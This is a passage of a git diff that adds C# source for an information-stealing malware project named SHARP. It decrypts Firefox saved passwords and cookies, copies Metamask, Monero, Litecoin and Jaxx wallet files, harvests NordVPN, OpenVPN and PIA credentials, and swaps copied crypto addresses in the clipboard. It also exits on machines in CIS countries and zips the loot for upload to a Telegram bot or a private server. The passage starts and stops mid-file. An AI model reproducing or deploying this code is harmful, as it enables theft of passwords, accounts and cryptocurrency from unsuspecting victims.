Directory.EnumerateDirectories(path)) + { + try + { + size += Files.GetDirSize(enumerateDirectory); + } + catch + { + } + } + } + catch + { + } + return size; + } + + public static void CopyDirectory(string source, string target, string pattern, long maxSize) + { + Stack foldersStack = new Stack(); + foldersStack.Push(new SHARP.GetFiles.Folders(source, target)); + long dirSize = Files.GetDirSize(target); + while (foldersStack.Count > 0) + { + SHARP.GetFiles.Folders folders = foldersStack.Pop(); + try + { + Directory.CreateDirectory(folders.Target); + foreach (string enumerateFile in Directory.EnumerateFiles(folders.Source, pattern)) + { + try + { + if (Array.IndexOf(Config.extensions, Path.GetExtension(enumerateFile).ToLower()) >= 0) + { + string str = Path.Combine(folders.Target, Path.GetFileName(enumerateFile)); + if (new FileInfo(enumerateFile).Length / 1024L /*0x0400*/ < 5000L) + { + File.Copy(enumerateFile, str); + dirSize += new FileInfo(str).Length; + if (dirSize > maxSize) + return; + } + } + } + catch + { + } + } + } + catch (UnauthorizedAccessException ex) + { + continue; + } + catch (PathTooLongException ex) + { + continue; + } + try + { + foreach (string enumerateDirectory in Directory.EnumerateDirectories(folders.Source)) + { + try + { + if (!enumerateDirectory.Contains(Path.Combine(Help.DesktopPath, Environment.UserName))) + foldersStack.Push(new SHARP.GetFiles.Folders(enumerateDirectory, Path.Combine(folders.Target, Path.GetFileName(enumerateDirectory)))); + } + catch + { + } + } + } + catch (UnauthorizedAccessException ex) + { + } + catch (DirectoryNotFoundException ex) + { + } + catch (PathTooLongException ex) + { + } + } + foldersStack.Clear(); + } + } +} diff --git a/GBRWSR.cs b/GBRWSR.cs new file mode 100644 index 0000000..72b7ae4 --- /dev/null +++ b/GBRWSR.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class GBRWSR + { + private static async Task ex(string path) => new FileInfo(path).Length > 0L; + + public static async Task GetCookies(string BrowserPath) + { + List cookies = new List(); + string[] strArray = await Task.Run((Func) (() => Directory.GetFiles(BrowserPath, "cookies.sqlite", SearchOption.AllDirectories))); + for (int index = 0; index < strArray.Length; ++index) + { + string cookiesFilePath = strArray[index]; + try + { + string str; + do + { + if (await GBRWSR.ex(cookiesFilePath)) + str = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(37)); + else + goto label_15; + } + while (File.Exists(str)); + File.Copy(cookiesFilePath, str); + SQLiteHandler sqLiteHandler = new SQLiteHandler(cookiesFilePath); + if (sqLiteHandler.ReadTable("moz_cookies")) + { + for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num) + { + string host = sqLiteHandler.GetValue(row_num, "host"); + string name = sqLiteHandler.GetValue(row_num, "name"); + string path = sqLiteHandler.GetValue(row_num, "path"); + string cookie = sqLiteHandler.GetValue(row_num, "value"); + string expiry = sqLiteHandler.GetValue(row_num, "expiry"); + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && cookie != null && cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, cookie, expiry)); + } + File.Delete(str); + } + else + continue; + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + label_15: + cookiesFilePath = (string) null; + } + strArray = (string[]) null; + CookieFormat[] array = cookies.ToArray(); + cookies = (List) null; + return array; + } + + public static async Task GetPasswords(string BrowserPath) + { + List passwords = new List(); + foreach (string str1 in await Task.Run((Func) (() => Directory.GetFiles(BrowserPath, "logins.json", SearchOption.AllDirectories)))) + { + Console.WriteLine(str1); + try + { + GDecryptor.NSS_Init(Path.GetDirectoryName(str1)); + string str2 = Path.Combine(Path.GetTempPath(), BRWSR.GenerateRandomString(30)); + File.Copy(str1, str2, true); + MatchCollection matchCollection = Regex.Matches(File.ReadAllText(str2), "\"hostname\":\\s*\"([^\"]*)\".*?\"encryptedUsername\":\\s*\"([^\"]*)\".*?\"encryptedPassword\":\\s*\"([^\"]*)\"", RegexOptions.Singleline); + Console.WriteLine(matchCollection.Count); + for (int i = 0; i < matchCollection.Count; ++i) + { + Match match = matchCollection[i]; + if (match.Groups.Count >= 3) + { + string cypherText1 = match.Groups[3].Value; + string cypherText2 = match.Groups[2].Value; + string str3 = match.Groups[1].Value; + string password = GDecryptor.Decrypt(cypherText1); + string username = GDecryptor.Decrypt(cypherText2); + string url = str3; + if (!string.IsNullOrWhiteSpace(url) && password.Length > 0) + passwords.Add(new PasswordFormat(username, password, url)); + } + } + File.Delete(str2); + } + catch + { + } + } + PasswordFormat[] array = passwords.ToArray(); + passwords = (List) null; + return array; + } + } +} diff --git a/GDecryptor.cs b/GDecryptor.cs new file mode 100644 index 0000000..3bde722 --- /dev/null +++ b/GDecryptor.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace SHARP +{ + internal class GDecryptor + { + public static IntPtr NSS3; + private static string ffoldername = "\\Mozilla Firefox\\"; + + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string dllFilePath); + + [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + public static long NSS_Init(string configdir) + { + string path = "C:\\Program Files" + ffoldername; + if (!Directory.Exists(path)) + path = "C:\\Program Files (x86)" + ffoldername; + + if (!Directory.Exists(path)) + return -100; + + LoadLibrary(path + "mozglue.dll"); + NSS3 = LoadLibrary(path + "nss3.dll"); + + var nssInitDelegate = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer( + GetProcAddress(NSS3, "NSS_Init"), + typeof(DLLFunctionDelegate)); + + return nssInitDelegate(configdir); + } + + public static string Decrypt(string cypherText) + { + IntPtr dataPtr = IntPtr.Zero; + try + { + byte[] source = Convert.FromBase64String(cypherText); + dataPtr = Marshal.AllocHGlobal(source.Length); + Marshal.Copy(source, 0, dataPtr, source.Length); + + // Korrektur: TSECItem-Instanz erstellen, nicht im ref-Parameter + TSECItem data = new TSECItem + { + SECItemType = 0, + SECItemData = dataPtr, + SECItemLen = source.Length + }; + + TSECItem result = new TSECItem(); + + if (PK11SDR_Decrypt(ref data, ref result, 0) == 0) + { + if (result.SECItemLen != 0) + { + byte[] decryptedData = new byte[result.SECItemLen]; + Marshal.Copy(result.SECItemData, decryptedData, 0, result.SECItemLen); + return Encoding.UTF8.GetString(decryptedData); + } + } + } + catch (Exception ex) + { + Console.WriteLine($"Decryption error: {ex}"); + return null; + } + finally + { + if (dataPtr != IntPtr.Zero) + Marshal.FreeHGlobal(dataPtr); + } + return null; + } + + public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) + { + var decryptDelegate = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer( + GetProcAddress(NSS3, "PK11SDR_Decrypt"), + typeof(DLLFunctionDelegate5)); + + return decryptDelegate(ref data, ref result, cx); + } + + // NSS_Shutdown für Cleanup + public static long NSS_Shutdown() + { + var nssShutdownDelegate = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer( + GetProcAddress(NSS3, "NSS_Shutdown"), + typeof(DLLFunctionDelegate)); + + return nssShutdownDelegate(null); + } + + // Delegate-Definitionen + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long DLLFunctionDelegate(string configdir); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx); + + // Struktur für NSS + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + // Verbesserte Methode zum Extrahieren von Firefox-Passwörtern + public static List ExtractFirefoxPasswords() + { + var passwords = new List(); + string[] firefoxProfiles = GetFirefoxProfilePaths(); + + foreach (string profile in firefoxProfiles) + { + string signonsFile = Path.Combine(profile, "signons.sqlite"); + string loginsFile = Path.Combine(profile, "logins.json"); + + if (File.Exists(signonsFile)) + { + // SQLite-Datenbank für ältere Firefox-Versionen + ExtractFromSQLite(signonsFile, passwords); + } + + if (File.Exists(loginsFile)) + { + // JSON-Datei für neuere Firefox-Versionen + ExtractFromJSON(loginsFile, passwords); + } + } + + return passwords; + } + + private static string[] GetFirefoxProfilePaths() + { + string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + string firefoxPath = Path.Combine(appData, "Mozilla", "Firefox", "Profiles"); + + if (Directory.Exists(firefoxPath)) + { + return Directory.GetDirectories(firefoxPath, "*.default*", SearchOption.TopDirectoryOnly); + } + + return new string[0]; + } + + private static void ExtractFromSQLite(string sqlitePath, List passwords) + { + try + { + // Hier müsste SQLite-Parser implementiert werden + // Vereinfachte Version: + if (NSS_Init(Path.GetDirectoryName(sqlitePath)) == 0) + { + // Datenbank öffnen und entschlüsseln... + // NSS_Shutdown(); nicht vergessen! + } + } + catch { } + } + + private static void ExtractFromJSON(string jsonPath, List passwords) + { + try + { + string jsonContent = File.ReadAllText(jsonPath); + // JSON parsen und entschlüsselte Passwörter extrahieren + // Vereinfacht: Suche nach base64-Strings + string[] parts = jsonContent.Split(new[] { '"' }, StringSplitOptions.RemoveEmptyEntries); + + foreach (string part in parts) + { + if (part.Length > 50 && IsBase64String(part)) + { + string decrypted = Decrypt(part); + if (!string.IsNullOrEmpty(decrypted)) + passwords.Add(decrypted); + } + } + } + catch { } + } + + private static bool IsBase64String(string s) + { + try + { + Convert.FromBase64String(s); + return true; + } + catch + { + return false; + } + } + } +} \ No newline at end of file diff --git a/GetFiles.cs b/GetFiles.cs new file mode 100644 index 0000000..fb4f697 --- /dev/null +++ b/GetFiles.cs @@ -0,0 +1,18 @@ +namespace SHARP +{ + public class GetFiles + { + public class Folders : IFolders + { + public string Source { get; private set; } + + public string Target { get; private set; } + + public Folders(string source, string target) + { + this.Source = source; + this.Target = target; + } + } + } +} diff --git a/Help.cs b/Help.cs new file mode 100644 index 0000000..8fbb68f --- /dev/null +++ b/Help.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net; +using System.Reflection; +using System.Text; + +namespace SHARP +{ + internal static class Help + { + public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + public static readonly string LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + public static readonly string System = Environment.GetFolderPath(Environment.SpecialFolder.System); + public static readonly string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + public static readonly string CommonData = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData); + public static readonly string MyDocuments = Environment.GetFolderPath(Environment.SpecialFolder.Personal); + public static readonly string UserProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); + public static readonly string ExploitName = Assembly.GetExecutingAssembly().Location; + public static readonly string ExploitDirectory = Path.GetDirectoryName(ExploitName); + public static string TGdownload = $"C:\\Users\\{Environment.UserName}\\Downloads\\Telegram Desktop"; + public static string Downloads = $"C:\\Users\\{Environment.UserName}\\Downloads"; + public static string date = DateTime.Now.ToString("MM/dd/yyyy h:mm"); + public static string ExploitDir = LocalData + "\\SCef.WindowsAdapter"; + public static string dir = LocalData + "\\CefSharp.BrowsersSubprocess"; + public static string IP = new WebClient().DownloadString("https://api.ipify.org/"); + + public static string GetDomainDetect(string Browser) + { + try + { + string[] strArray = new string[19] + { + "cryptonator.com", + "payeer.com", + "lolz.guru", + "wwh-club.net", + "xss.is", + "bhf.io", + "btc.com", + "minergate.com", + "blockchain.com", + "github.com", + "coinbase.com", + "paypal.com", + "zelenka.guru", + "lolz.live", + "binance.com", + "breachforums.st", + "youtube.com", + "sberbank.com", + "sber.ru" + }; + + FileInfo[] files = new DirectoryInfo(Browser).GetFiles("*.txt", SearchOption.TopDirectoryOnly); + List stringList = new List(); + + foreach (FileInfo fileInfo in files) + stringList.AddRange(File.ReadAllLines(fileInfo.FullName, Encoding.UTF8)); + + HashSet stringSet = new HashSet(); + + foreach (string str1 in stringList) + { + foreach (string str2 in str1.Split() + .Select(w => w.Trim()) + .Where(w => w != "") + .Select(w => w.ToLower()) + .ToList()) + { + if (!stringSet.Contains(str2)) + stringSet.Add(str2); + } + } + + HashSet values = new HashSet(); + + foreach (string str3 in strArray) + { + foreach (string str4 in stringSet) + { + if (str4.Contains(str3) && !values.Contains(str3)) + values.Add(str3); + } + } + + return string.Join(", ", values); + } + catch (Exception ex) + { + return ""; + } + } + + public static bool CheckSUB(DateTime ConfigDate, DateTime TargetDate) + { + return TargetDate < ConfigDate; + } + + private static void unSNG() + { + string country = Counting.country; + string[] blockedCountries = { "Russia", "Belarus", "Ukraine", "Moldova", "Kazakhstan", "Kyrgyzstan", "Uzbekistan", "Armenia", "Azerbaijan", "Tadjikistan", "Turkmenistan" }; + + if (blockedCountries.Contains(country)) + Environment.Exit(0); + } + + public static void CheckS() + { + string markerFile = Path.Combine(LocalData, "CefSharp", "CefSharp_BrowserSubprocess.dat"); + if (File.Exists(markerFile)) + Environment.Exit(0); + } + + public static void Start() + { + CheckS(); + string cefSharpDir = Path.Combine(LocalData, "CefSharp"); + Directory.CreateDirectory(cefSharpDir); + File.WriteAllText(Path.Combine(cefSharpDir, "CefSharp_BrowserSubprocess.dat"), "-20a"); + } + + public static void Stop() + { + string cefSharpDir = Path.Combine(LocalData, "CefSharp"); + if (Directory.Exists(cefSharpDir)) + Directory.Delete(cefSharpDir, true); + } + + public static void checkSNG() + { + if (Config.antiSNG) + unSNG(); + } + + public static void GetConfigData() + { + string configPath = Path.Combine(ExploitDir, "config.json"); + string contents = $@"{{ + ""ip"": ""{IP}"", + ""country"": ""{Counting.country}"", + ""cookies"": {Counting.Cookies}, + ""passwords"": {Counting.Passwords}, + ""wallets"": {Counting.Wallets}, + ""name"": ""{Environment.UserName}"" + }}"; + + Directory.CreateDirectory(ExploitDir); + File.WriteAllText(configPath, contents); + } + } +} \ No newline at end of file diff --git a/IFolders.cs b/IFolders.cs new file mode 100644 index 0000000..45a0442 --- /dev/null +++ b/IFolders.cs @@ -0,0 +1,9 @@ +namespace SHARP +{ + public interface IFolders + { + string Source { get; } + + string Target { get; } + } +} diff --git a/IP.cs b/IP.cs new file mode 100644 index 0000000..f60e5ec --- /dev/null +++ b/IP.cs @@ -0,0 +1,47 @@ +using System; +using System.IO; +using System.Net; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class IP + { + public static async Task ip() => Counting.country = IP.GetLocationInfo(Help.IP).Country; + + private static LocationInfo GetLocationInfo(string ipAddress) + { + try + { + WebRequest webRequest = WebRequest.Create("http://ip-api.com/json/" + ipAddress); + webRequest.Method = "GET"; + using (WebResponse response = webRequest.GetResponse()) + { + using (Stream responseStream = response.GetResponseStream()) + { + using (StreamReader streamReader = new StreamReader(responseStream)) + { + string[] strArray1 = streamReader.ReadToEnd().Split(','); + LocationInfo locationInfo = new LocationInfo(); + foreach (string str1 in strArray1) + { + char[] chArray = new char[1]{ ':' }; + string[] strArray2 = str1.Split(chArray); + string str2 = strArray2[0].Trim().TrimStart('"').TrimEnd('"'); + string str3 = strArray2[1].Trim().TrimStart('"').TrimEnd('"'); + if (str2 == "country") + locationInfo.Country = str3; + } + return locationInfo; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine("Ошибка при получении данных: " + ex.Message); + } + return (LocationInfo) null; + } + } +} diff --git a/Jaxx.cs b/Jaxx.cs new file mode 100644 index 0000000..8a6a942 --- /dev/null +++ b/Jaxx.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace SHARP +{ + internal class Jaxx + { + public static string JaxxDir = "\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"; + + public static void JaxxStr(string directorypath) + { + try + { + foreach (FileInfo file in new DirectoryInfo(Help.AppData + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\").GetFiles()) + { + Directory.CreateDirectory(directorypath + Jaxx.JaxxDir); + file.CopyTo(directorypath + Jaxx.JaxxDir + file.Name); + } + ++Counting.jaxx; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/LitecoinCore.cs b/LitecoinCore.cs new file mode 100644 index 0000000..6785f91 --- /dev/null +++ b/LitecoinCore.cs @@ -0,0 +1,23 @@ +using Microsoft.Win32; +using System.IO; + +namespace SHARP +{ + internal class LitecoinCore + { + public static void LitecStr(string directorypath) + { + try + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Litecoin").OpenSubKey("Litecoin-Qt"); + Directory.CreateDirectory(directorypath + "\\Wallets\\LitecoinCore\\"); + File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\LitecoinCore\\wallet.dat"); + ++Counting.litecoincore; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/LocationInfo.cs b/LocationInfo.cs new file mode 100644 index 0000000..1c0c534 --- /dev/null +++ b/LocationInfo.cs @@ -0,0 +1,7 @@ +namespace SHARP +{ + internal class LocationInfo + { + public string Country { get; set; } + } +} diff --git a/Metamask.cs b/Metamask.cs new file mode 100644 index 0000000..d3e2f85 --- /dev/null +++ b/Metamask.cs @@ -0,0 +1,57 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Metamask + { + private static string LocalApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + public static async Task Get() + { + Dictionary dictionary = new Dictionary() + { + { + "Google", + Path.Combine(Metamask.LocalApplicationData, "Google", "Chrome", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn") + }, + { + "Edge_v1", + Path.Combine(Metamask.LocalApplicationData, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings", "ejbalbakoplchlghecdalmeeeajnimhm") + }, + { + "Edge_v2", + Path.Combine(Metamask.LocalApplicationData, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn") + }, + { + "OperaGX", + Path.Combine(Metamask.ApplicationData, "Opera Software", "Opera GX Stable", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn") + }, + { + "Brave", + Path.Combine(Metamask.LocalApplicationData, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn") + } + }; + List taskList = new List(); + foreach (KeyValuePair path in dictionary) + { + if (Directory.Exists(path.Value)) + taskList.Add(Metamask.GetMetData(path)); + } + await Task.WhenAll((IEnumerable) taskList); + } + + private static async Task GetMetData(KeyValuePair path) + { + string path1 = Help.ExploitDir + "\\Wallets"; + if (!Directory.Exists(path1)) + Directory.CreateDirectory(path1); + Filemanager.CopyDirectory(path.Value, Path.Combine(Help.ExploitDir + "\\Wallets\\Metamask", "Metamask_Extension_" + path.Key)); + ++Counting.metamask; + ++Counting.Wallets; + } + } +} diff --git a/Monero.cs b/Monero.cs new file mode 100644 index 0000000..42be638 --- /dev/null +++ b/Monero.cs @@ -0,0 +1,27 @@ +using Microsoft.Win32; +using System.IO; + +namespace SHARP +{ + internal class Monero + { + public static string base64xmr = "\\Wallets\\Monero\\"; + + public static void XMRcoinStr(string directorypath) + { + try + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("monero-project").OpenSubKey("monero-core"); + Directory.CreateDirectory(directorypath + Monero.base64xmr); + string sourceFileName = registryKey.GetValue("wallet_path").ToString().Replace("/", "\\"); + Directory.CreateDirectory(directorypath + Monero.base64xmr); + File.Copy(sourceFileName, directorypath + Monero.base64xmr + sourceFileName.Split('\\')[sourceFileName.Split('\\').Length - 1]); + ++Counting.monero; + ++Counting.Wallets; + } + catch + { + } + } + } +} diff --git a/Monitor.cs b/Monitor.cs new file mode 100644 index 0000000..55da153 --- /dev/null +++ b/Monitor.cs @@ -0,0 +1,49 @@ +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Threading; + +namespace SHARP +{ + internal class Monitor + { + private static string previous_buffer = ""; + + private static bool clipboard_changed(string buffer) + { + if (!(buffer != Monitor.previous_buffer)) + return false; + Monitor.previous_buffer = buffer; + return true; + } + + private static void replace_clipboard(string buffer) + { + if (string.IsNullOrEmpty(buffer)) + return; + foreach (KeyValuePair pattern in Patterns.patterns) + { + string key = pattern.Key; + if (pattern.Value.Match(buffer).Success) + { + string address = Config.addresses[key]; + if (!string.IsNullOrEmpty(address) && !buffer.Equals(address)) + { + Clipboard.SetText(address); + break; + } + } + } + } + + public static void run() + { + while (true) + { + string text = Clipboard.GetText(); + if (Monitor.clipboard_changed(text)) + Monitor.replace_clipboard(text); + Thread.Sleep(Config.clipboard_check_delay); + } + } + } +} diff --git a/NordVPN.cs b/NordVPN.cs new file mode 100644 index 0000000..1e260ac --- /dev/null +++ b/NordVPN.cs @@ -0,0 +1,60 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Xml; + +namespace SHARP +{ + internal class NordVPN + { + private static string Decode(string s) + { + try + { + return Encoding.UTF8.GetString(ProtectedData.Unprotect(Convert.FromBase64String(s), (byte[]) null, DataProtectionScope.LocalMachine)); + } + catch + { + return ""; + } + } + + public static void Save(string head) + { + string str1 = head; + DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Help.LocalData, nameof (NordVPN))); + if (!directoryInfo.Exists) + return; + try + { + foreach (DirectoryInfo directory1 in directoryInfo.GetDirectories("NordVpn.exe*")) + { + foreach (FileSystemInfo directory2 in directory1.GetDirectories()) + { + string str2 = Path.Combine(directory2.FullName, "user.config"); + if (File.Exists(str2)) + { + Directory.CreateDirectory(str1 + "\\VPN\\NordVPN\\"); + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(str2); + string innerText1 = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText; + string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText; + if (innerText1 != null && !string.IsNullOrEmpty(innerText1) && innerText2 != null && !string.IsNullOrEmpty(innerText2)) + { + string str3 = NordVPN.Decode(innerText1); + string str4 = NordVPN.Decode(innerText2); + ++Counting.NordVPN; + File.AppendAllText(str1 + "\\VPN\\NordVPN\\\\accounts.txt", $"Username: {str3}\nPassword: {str4}\n\n"); + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + } +} diff --git a/OMethod.cs b/OMethod.cs new file mode 100644 index 0000000..aa207d6 --- /dev/null +++ b/OMethod.cs @@ -0,0 +1,16 @@ +using System; +using System.Runtime.InteropServices; + +namespace SHARP +{ + internal class OMethod + { + [ComVisible(true)] + [Serializable] + public enum OMethods + { + TelegramBot, + MyPrivateServer, + } + } +} diff --git a/OpenVPN.cs b/OpenVPN.cs new file mode 100644 index 0000000..5cfb661 --- /dev/null +++ b/OpenVPN.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; + +namespace SHARP +{ + internal class OpenVPN + { + public static void Save(string head) + { + string path1 = head; + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect\\profiles"); + if (!Directory.Exists(path)) + return; + try + { + Directory.CreateDirectory(path1 + "\\VPN\\OpenVPN"); + foreach (string file in Directory.GetFiles(path)) + { + if (Path.GetExtension(file).Contains("ovpn")) + File.Copy(file, Path.Combine(path1, "\\VPN\\OpenVPN" + Path.GetFileName(file))); + } + ++Counting.OpenVPN; + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + } +} diff --git a/Otstuk.cs b/Otstuk.cs new file mode 100644 index 0000000..ac941ee --- /dev/null +++ b/Otstuk.cs @@ -0,0 +1,124 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Threading.Tasks; + +namespace SHARP +{ + internal class Otstuk + { + public static async Task Run(OMethod.OMethods method) + { + try + { + if (method == OMethod.OMethods.TelegramBot) + await Otstuk.TelegramOtstuk(); + if (method != OMethod.OMethods.MyPrivateServer) + return; + await Otstuk.OtstukToServer(Config.myPrivateServer); + } + catch + { + } + } + + private static string BuildUrl(OMethod.OMethods method) + { + return method == OMethod.OMethods.TelegramBot ? $"{Config.ApiUrl}{Config.token}/sendDocument?chat_id={Config.id}{"&caption=" + SenderAPI.Caption()}&parse_mode=HTML" : (method == OMethod.OMethods.MyPrivateServer ? Config.myPrivateServer : ""); + } + + private static async Task TelegramOtstuk() + { + try + { + string zipArchiveName = Help.IP + ".zip"; + string exploitDir = Help.ExploitDir; + string targetDirectory = Help.dir; + string targetDirectory1 = targetDirectory; + string zipFileName = zipArchiveName; + await Otstuk.CreateZipArchive(exploitDir, targetDirectory1, zipFileName); + string path = Path.Combine(targetDirectory, zipArchiveName); + string fileName = Path.GetFileName(path); + byte[] file = File.ReadAllBytes(path); + string str = "gggf980fd98f98fd980fd890f98f09f08fd980fd909uitu94U098089U4TJ908ERGJ098R089GAR09G90ADRG098AR089GR908GAD90RG"; + string filename = fileName; + string url = Otstuk.BuildUrl(OMethod.OMethods.TelegramBot); + string apiKey = str; + await SenderAPI.TGotstuk(file, filename, "application/x-ms-dos-executable", url, apiKey); + zipArchiveName = (string) null; + targetDirectory = (string) null; + } + catch + { + } + } + + private static async Task OtstukToServer(string url) + { + try + { + string zipArchiveName = Help.IP + ".zip"; + string exploitDir = Help.ExploitDir; + string targetDirectory = Help.dir; + string targetDirectory1 = targetDirectory; + string zipFileName = zipArchiveName; + await Otstuk.CreateZipArchive(exploitDir, targetDirectory1, zipFileName); + string path = Path.Combine(targetDirectory, zipArchiveName); + await SenderAPI.MyPrivateServerOtstuk(url, Path.GetFileName(path), File.ReadAllBytes(path)); + zipArchiveName = (string) null; + targetDirectory = (string) null; + } + catch + { + } + } + + public static async Task CreateZipArchive( + string sourceDirectory, + string targetDirectory, + string zipFileName) + { + try + { + if (!Directory.Exists(sourceDirectory)) + { + Console.WriteLine("Указанная папка не существует."); + } + else + { + if (!Directory.Exists(targetDirectory)) + Directory.CreateDirectory(targetDirectory); + string path = Path.Combine(targetDirectory, zipFileName); + if (File.Exists(path)) + { + Console.WriteLine("Файл с таким именем уже существует."); + } + else + { + using (FileStream fileStream1 = new FileStream(path, FileMode.Create)) + { + using (ZipArchive zipArchive = new ZipArchive((Stream) fileStream1, ZipArchiveMode.Create, true)) + { + foreach (FileInfo file in new DirectoryInfo(sourceDirectory).GetFiles("*.*", SearchOption.AllDirectories)) + { + string entryName = file.FullName.Substring(sourceDirectory.Length + 1); + ZipArchiveEntry entry = zipArchive.CreateEntry(entryName, CompressionLevel.Optimal); + using (FileStream fileStream2 = new FileStream(file.FullName, FileMode.Open)) + { + using (Stream destination = entry.Open()) + fileStream2.CopyTo(destination); + } + } + } + } + Console.WriteLine($"Архив {zipFileName} успешно создан в папке {targetDirectory}"); + } + } + } + catch (Exception ex) + { + Console.WriteLine("Ошибка при создании архива: " + ex.Message); + } + } + } +} diff --git a/PIAVPN.cs b/PIAVPN.cs new file mode 100644 index 0000000..d6d3cce --- /dev/null +++ b/PIAVPN.cs @@ -0,0 +1,39 @@ +using System; +using System.IO; + +namespace SHARP +{ + internal class PIAVPN + { + public static void SaveFileSession(string head) + { + string path = Help.CommonData + "\\pia_manager"; + string str1 = head + "\\VPN\\PIA (Private Internet Access) VPN"; + if (!Directory.Exists(path)) + { + Console.WriteLine("Исходная директория не существует."); + } + else + { + if (!Directory.Exists(str1)) + Directory.CreateDirectory(str1); + foreach (string file in Directory.GetFiles(path)) + { + string fileName = Path.GetFileName(file); + File.Copy(file, Path.Combine(str1, fileName), true); + Console.WriteLine($"Файл {fileName} скопирован успешно."); + ++Counting.pia; + } + foreach (string directory in Directory.GetDirectories(path)) + { + string fileName = Path.GetFileName(directory); + string str2 = Path.Combine(str1, fileName); + Directory.CreateDirectory(str2); + Filemanager.CopyDirectory(directory, str2); + ++Counting.pia; + } + Console.WriteLine("Копирование завершено."); + } + } + } +} diff --git a/PasswordFormat.cs b/PasswordFormat.cs new file mode 100644 index 0000000..cee726f --- /dev/null +++ b/PasswordFormat.cs @@ -0,0 +1,16 @@ +namespace SHARP +{ + internal struct PasswordFormat + { + internal readonly string Username; + internal readonly string Password; + internal readonly string Url; + + internal PasswordFormat(string username, string password, string url) + { + this.Username = username; + this.Password = password; + this.Url = url; + } + } +} diff --git a/PathsCV20.cs b/PathsCV20.cs new file mode 100644 index 0000000..ac819f8 --- /dev/null +++ b/PathsCV20.cs @@ -0,0 +1,466 @@ +using System; +using System.Collections.Generic; + +namespace SHARP +{ + internal class PathsCV20 + { + private const int DEBUG_PORT = 9222; + private static readonly string none = "None"; + public static string commandT = $"--restore-last-session --remote-debugging-port={9222} --user-data-dir="; + private static readonly string LOCAL_APP_DATA = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + public static readonly Dictionary> PATHS = new Dictionary>() + { + { + "Google", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" + }, + { + "bin3", + PathsCV20.LOCAL_APP_DATA + "\\Google\\Chrome\\Application\\chrome.exe" + } + } + }, + { + "Edge", + new Dictionary() + { + { + "bin1", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" + }, + { + "bin2", + "C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe" + }, + { + "bin3", + PathsCV20.none ?? "" + } + } + }, + { + "Brave", + new Dictionary() + { + { + "bin1", + "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" + }, + { + "bin2", + "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" + }, + { + "bin3", + 